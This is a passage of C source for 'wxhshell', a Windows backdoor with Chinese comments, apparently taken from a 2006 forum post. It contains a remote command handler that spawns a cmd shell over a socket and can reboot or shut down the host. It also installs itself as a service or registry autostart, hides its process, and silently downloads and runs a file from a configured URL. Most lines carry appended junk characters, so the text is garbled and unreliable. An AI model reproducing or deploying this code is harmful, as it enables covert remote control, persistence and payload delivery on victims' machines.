  // 帮助 h.NA$E?7  
  case '?': { rE 8-MB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lf 3W:0 K  
    break; n7vi@^lf(  
  } p6p_B   
  // 安装 pB`<4+"9  
  case 'i': { u56cT/J1  
    if(Install()) K2JS2Y]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"wsMO  
    else J c*A\-qC.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HUH=Y;  
    break; P:G^@B3^  
    } A#}IbcZ|b  
  // 卸载 8Pq|jK "  
  case 'r': { 5K0Isuu>>  
    if(Uninstall()) U:H*b{`TU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cOSUe_S0w[  
    else I?gbu@o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lq74Fz&(  
    break; x(A .^Yz  
    } YIfbcR5  
  // 显示 wxhshell 所在路径 0oD?4gn  
  case 'p': { FKPI{l  
    char svExeFile[MAX_PATH]; i -+B{H  
    strcpy(svExeFile,"\n\r"); j:g/[_0s  
      strcat(svExeFile,ExeFile); rc"yEI-``"  
        send(wsh,svExeFile,strlen(svExeFile),0); O:4.xe  
    break; @AJt/wPk  
    } d bw`E"g  
  // 重启 g94NU X  
  case 'b': { YkTEAI|i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f -bVcWI  
    if(Boot(REBOOT)) WlU5`NJl]2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xr-eDUEi  
    else { YDP<  
    closesocket(wsh); 6:Ra3!V"v  
    ExitThread(0); IL\#!|>  
    } Lf3:' n  
    break; :WE(1!P@  
    } [E+#+-n7  
  // 关机 C]82Mt  
  case 'd': { uGOvZO^v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ))<3+^S0V\  
    if(Boot(SHUTDOWN)) $w{#o E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W,:*`  
    else { 't]=ps  
    closesocket(wsh); El ,p}Bi.  
    ExitThread(0); +c?1\{M   
    } [/xw5rO%  
    break; K_(o D O  
    } G}d@^9FkE  
  // 获取shell !h4L_D0  
  case 's': { qlO(z5Ak  
    CmdShell(wsh); p\1-.  
    closesocket(wsh); }sZme3*J[  
    ExitThread(0); b+,u_$@B  
    break; 7YrX3Hx 8  
  } <GT&q <4w  
  // 退出 /aP4'U8ov  
  case 'x': { s%GhjWZS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ba3dqbCW  
    CloseIt(wsh); 6"b =aPTi  
    break; A46Xei:Ow  
    } *%bQp  
  // 离开 EA8K*>'pv  
  case 'q': { ^^1rjh1I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u6j\@U6I  
    closesocket(wsh); { <f]6  
    WSACleanup(); >fNRwmi  
    exit(1); Ey4%N`H-^  
    break; gP:mZ7  
        } $9)|cO  
  } WW\t<O;z  
  } )*Xd  
gTa6%GM>  
  // 提示信息 F l@%?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~\<aj(m(|  
} kqdF)Wa am  
  } ;n0VF77>O  
J0K25w  
  return; 8&+m5x S  
} *c9/ I  
Y=94<e[f"  
// shell模块句柄 V 3?x_pp  
int CmdShell(SOCKET sock) w eu3c`-a  
{ ;iEr+  
STARTUPINFO si; kB:6e7D|[  
ZeroMemory(&si,sizeof(si)); zI1-l9 o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ksb.]P d.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N{rC#A3  
PROCESS_INFORMATION ProcessInfo; fg}&=r  
char cmdline[]="cmd"; :jo !Yi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b9FfDDOq"  
  return 0; H & L  
} />FgDIO  
,j^z];  
// 自身启动模式 "eRf3Q7w:  
int StartFromService(void) gN./u   
{ "'i" @CR  
typedef struct OZ,%T9vP  
{ tw{V7r~n  
  DWORD ExitStatus; YI0ubB  
  DWORD PebBaseAddress; B}Lz#'5_  
  DWORD AffinityMask; 6<E4?<O%  
  DWORD BasePriority; --X1oC52A  
  ULONG UniqueProcessId; ^ hoz<Ns  
  ULONG InheritedFromUniqueProcessId; {-FS+D`  
}   PROCESS_BASIC_INFORMATION; YTWlR]Tr6?  
/1s|FI$-L  
PROCNTQSIP NtQueryInformationProcess; Nw 74T  
$mS] K!\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4|PNsHXt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <0?h$hf4c  
N^u,C$zP9C  
  HANDLE             hProcess; <|,0%bq)|  
  PROCESS_BASIC_INFORMATION pbi; )}{V#,xz@  
e~Hx+Qp.G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R[ 'k&jyi  
  if(NULL == hInst ) return 0; y:\ ^[y IQ  
-5v2E-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >=<qAkk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bu&x& M*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uwd^%x*  
Woo2hg-ti  
  if (!NtQueryInformationProcess) return 0; 7.G1Q]6/  
F.nJX ZnJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N;)Y+amg^  
  if(!hProcess) return 0; GQZLOjsop  
v&.`^ O3W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]{` 8C  
?52{s"N0>  
  CloseHandle(hProcess); pH#*:v!)  
 p^=>N9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) ?AlQA  
if(hProcess==NULL) return 0; \ow3_^Bk  
2(s+?n.N  
HMODULE hMod; CA0SH{PdW&  
char procName[255]; . kv/db  
unsigned long cbNeeded; KK}?x6wV0,  
$6&P 69<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H<^*V8J 'w  
]e*Zx;6oi  
  CloseHandle(hProcess); D4CN%^?  
SAuZWA4g[  
if(strstr(procName,"services")) return 1; // 以服务启动 994   
\ 2cI=Qf  
  return 0; // 注册表启动 M"q]jeaM  
} ^LA.Y)4C2%  
h)O<bI8  
// 主模块 Iyo ey  
int StartWxhshell(LPSTR lpCmdLine) Qv3g 4iJ  
{ [dszz7/L  
  SOCKET wsl; ;n-)4b]\  
BOOL val=TRUE; mw^Di  
  int port=0; 6mawcK:7  
  struct sockaddr_in door; Z0f0tL& A<  
~2R3MF.C  
  if(wscfg.ws_autoins) Install(); "8p fLI  
&4aY5y`8+f  
port=atoi(lpCmdLine); b!>w4MPe  
:z;}:+7n  
if(port<=0) port=wscfg.ws_port; 8,E#vQ55}(  
R]oi&"H@r)  
  WSADATA data; wm3fd 7T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /eM_:H5  
,n')3r   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i.4L;(cg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {{FA "NW  
  door.sin_family = AF_INET; Q77iMb]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YNGG> ;L  
  door.sin_port = htons(port); >s@6rNgf  
?}QHEk:H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bLx70$  
closesocket(wsl); 4:!KtpR[O  
return 1; !fFmQ\|)4S  
} !Ua74C  
3I)!.N[m  
  if(listen(wsl,2) == INVALID_SOCKET) { mp_(ke  
closesocket(wsl); ]jWe']T  
return 1; jni }om  
} 4|+6a6  
  Wxhshell(wsl); .uAO k0^z  
  WSACleanup(); AHws5#;$6*  
Z`fm;7NiVG  
return 0; Qp{rAAC:  
U=<E,tM  
} ~rBeJZ  
7y",%WYSD  
// 以NT服务方式启动 %m'd~#pze  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >@b7 0X!J]  
{ ~o:lh],~  
DWORD   status = 0; Pnb?NVP!^9  
  DWORD   specificError = 0xfffffff; ~+VIELU<%  
thk33ss:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Or&TGwo I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mw<LNnT{8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u</21fz'  
  serviceStatus.dwWin32ExitCode     = 0; f=v +D0K$n  
  serviceStatus.dwServiceSpecificExitCode = 0; N|eus3\E  
  serviceStatus.dwCheckPoint       = 0; d+KLtvB%M  
  serviceStatus.dwWaitHint       = 0; 9:^SnHAa  
R1'bB"$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mDmy637_  
  if (hServiceStatusHandle==0) return; Bb];qYuCO  
ya]CxnKR3  
status = GetLastError(); ugg08am!  
  if (status!=NO_ERROR) < J=9,tv<  
{ h?2qX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _yT Gv-  
    serviceStatus.dwCheckPoint       = 0; 3O<:eS~  
    serviceStatus.dwWaitHint       = 0; CuPZ0  
    serviceStatus.dwWin32ExitCode     = status; *a xOen  
    serviceStatus.dwServiceSpecificExitCode = specificError; r8XY"<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n~ \"W  
    return; ?DEj| i8  
  } EBS04]5ul  
RE`XyS0Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^- T!(P:  
  serviceStatus.dwCheckPoint       = 0; ~4o2!!^tI  
  serviceStatus.dwWaitHint       = 0; ,qJ/Jt$A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ny17(Y =  
} g"|QI=&_J  
\{L!hAw  
// 处理NT服务事件,比如:启动、停止 P: &XtpP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O-6848iCX  
{ kpi)uGvGUA  
switch(fdwControl) 3dNOXk, #  
{ $O,$KAC  
case SERVICE_CONTROL_STOP: zC6,m6Dv  
  serviceStatus.dwWin32ExitCode = 0; 'mj0+c$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "exph$  
  serviceStatus.dwCheckPoint   = 0; 8D[P*?O  
  serviceStatus.dwWaitHint     = 0; 6rMGl zuRo  
  { #\1;d8h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "NSm2RU3  
  } W!4(EdT*Cq  
  return; :9q=o|T6D  
case SERVICE_CONTROL_PAUSE: W}V L3s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m/3b7c@r  
  break; a)GL z  
case SERVICE_CONTROL_CONTINUE: vK)^;T ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L=ZKY  
  break; *@|d7aiO  
case SERVICE_CONTROL_INTERROGATE: p't>'?UH|  
  break; qT^R> p  
}; R"#DR^.;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "WR)a`$UR  
} MHmaut#  
(D F{l?4x-  
// 标准应用程序主函数 Wfgs[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Wjb0V  
{ 2,?4'0Z@R  
rr>*_67-:  
// 获取操作系统版本 :$ j6  
OsIsNt=GetOsVer(); oUXu;@l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5xL%HX[S  
yg\bCvL&  
  // 从命令行安装 E$]7w4,n  
  if(strpbrk(lpCmdLine,"iI")) Install(); o^%4w>|  
y)o!F^  
  // 下载执行文件 7sZVN  
if(wscfg.ws_downexe) { ^XEX"E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /M(FuV  
  WinExec(wscfg.ws_filenam,SW_HIDE); cN_e0;*Ua  
} EeC5HgIU'C  
is?H1V~8`$  
if(!OsIsNt) { :J` *@cDn  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,":_=Tf.  
HideProc(); 'p,QI>  
StartWxhshell(lpCmdLine); }8J77[>/  
} m~ :W$x1+  
else hyv*+FV;  
  if(StartFromService()) )$V}tr!  
  // 以服务方式启动 G m40u/  
  StartServiceCtrlDispatcher(DispatchTable); uCuXY#R+  
else ,y@` =  
  // 普通方式启动 $[txZN  
  StartWxhshell(lpCmdLine); Qa~dd{?  
8 St`,Tq)  
return 0; ^,[V;3  
}
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只看该作者 1 发表于: 2006-10-10
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